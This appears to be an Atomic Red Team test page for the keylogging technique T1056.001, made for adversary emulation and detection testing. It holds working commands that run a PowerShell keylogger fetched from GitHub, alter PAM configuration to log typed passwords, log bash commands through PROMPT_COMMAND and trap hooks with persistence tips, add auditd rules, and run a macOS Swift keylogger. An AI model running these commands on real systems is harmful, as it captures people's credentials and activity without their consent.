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Input Capture: Keylogging

Description from ATT&CK

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:

  • Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.
  • Reading raw keystroke data from the hardware buffer.
  • Windows Registry modifications.
  • Custom drivers.
  • Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

    Atomic Tests

    Atomic Test #1 - Input Capture

    Utilize PowerShell and external resource to capture keystrokes Payload Provided by PowerSploit

Upon successful execution, Powershell will execute

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Get-Keystrokes.ps1
and output to key.log.

Supported Platforms: windows

auto_generated_guid: d9b633ca-8efb-45e6-b838-70f595c6ae26

Inputs:

Name Description Type Default Value
filepath Name of the local file, include path. Path $env:TEMP\key.log

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1 -LogPath #{filepath}

Cleanup Commands:

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Remove-Item $env:TEMP\key.log -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1

Check Prereq Commands:

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if (Test-Path PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1) {exit 0} else {exit 1}

Get Prereq Commands:

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Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1     

Atomic Test #2 - Living off the land Terminal Input Capture on Linux with pam.d

Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log. All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.

Passwords hidden by the console can also be logged, with 'log_passwd' as in this example. If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. 'disable=*' as the initial command).

Use 'aureport –tty' or other audit.d reading tools to read the log output, which is binary. Mac OS does not currently contain the pam_tty_audit.so library.

Supported Platforms: linux

auto_generated_guid: 9c6bdb34-a89f-4b90-acb1-5970614c711b

Inputs:

None

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

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if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi; if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi; sudo touch /tmp/password-auth.bk sudo touch /tmp/system-auth.bk sudo echo "session    required    pam_tty_audit.so enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session    required    pam_tty_audit.so enable=* log_password" >> /etc/pam.d/system-auth

Cleanup Commands:

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sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth
sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth

Dependencies: Run with sh!

Description: Checking if pam_tty_audit.so is installed

Check Prereq Commands:

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test -f '/usr/lib/pam/pam_tty_audit.so -o  /usr/lib64/security/pam_tty_audit.so'

Get Prereq Commands:

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echo "Sorry, you must install module pam_tty_audit.so and recompile, for this test to work"

Atomic Test #3 - Logging bash history to syslog

There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog.

To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/

Supported Platforms: linux

auto_generated_guid: 0e59d59d-3265-4d35-bebd-bf5c1ec40db5

Inputs:

None

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

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PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")'
echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
tail /var/log/syslog

Cleanup Commands:

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unset PROMPT_COMMAND

Dependencies: Run with sh!

Description: This test requires to be run in a bash shell and that logger and tee are installed.

Check Prereq Commands:

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if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi
if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi
if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed *****\n"; exit 1; fi

Get Prereq Commands:

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echo ""

Atomic Test #4 - Bash session based keylogger

When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = "echo $BASH_COMMAND". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger.

To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/

Supported Platforms: linux

auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258

Inputs:

Name Description Type Default Value
output_file File to store captured commands String /tmp/.keyboard.log

Attack Commands: Run with sh!

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trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG
echo "Hello World!"
cat #{output_file}

Cleanup Commands:

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rm #{output_file}

Dependencies: Run with sh!

Description: This test requires to be run in a bash shell

Check Prereq Commands:

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if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi

Get Prereq Commands:

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echo ""

Atomic Test #5 - SSHD PAM keylogger

Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.

Supported Platforms: linux

auto_generated_guid: 81d7d2ad-d644-4b6a-bea7-28ffe43becca

Inputs:

Name Description Type Default Value
user_account Basic ssh user account for testing. String ubuntu

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

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cp -v /etc/pam.d/sshd /tmp/
echo "session required pam_tty_audit.so disable=* enable=* open_only log_passwd" >> /etc/pam.d/sshd
systemctl restart sshd
systemctl restart auditd
ssh #{user_account}@localhost 
whoami
sudo su
whoami
exit
exit

Cleanup Commands:

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cp -fv /tmp/sshd /etc/pam.d/

Dependencies: Run with sh!

Description: This test requires sshd and auditd

Check Prereq Commands:

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if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT installed *****\n"; exit 1; fi
if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi

Get Prereq Commands:

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echo ""

Atomic Test #6 - Auditd keylogger

The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log.

Supported Platforms: linux

auto_generated_guid: a668edb9-334e-48eb-8c2e-5413a40867af

Inputs:

None

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

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auditctl -a always,exit -F arch=b64 -S execve -k CMDS 
auditctl -a always,exit -F arch=b32 -S execve -k CMDS
whoami; ausearch -i --start $(date +"%d/%m/%y %H:%M:%S") 

Cleanup Commands:

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systemctl restart auditd

Dependencies: Run with sh!

Description: This test requires sshd and auditd

Check Prereq Commands:

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if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi

Get Prereq Commands:

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echo ""

Atomic Test #7 - MacOS Swift Keylogger

Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required. Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring. Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74

Supported Platforms: macos

auto_generated_guid: aee3a097-4c5c-4fff-bbd3-0a705867ae29

Inputs:

Name Description Type Default Value
swift_src Location of swift script Path PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift

Attack Commands: Run with bash!

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swift #{swift_src} -keylog

Cleanup Commands:

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kill `pgrep swift-frontend`

Dependencies: Run with bash!

Description: swift script must exist at #{swift_src}, and the terminal must have input monitoring permissions.

Check Prereq Commands:

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if [ -f #{swift_src} ]; then chmod +x #{swift_src}; else exit 1; fi

Get Prereq Commands:

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echo ""

source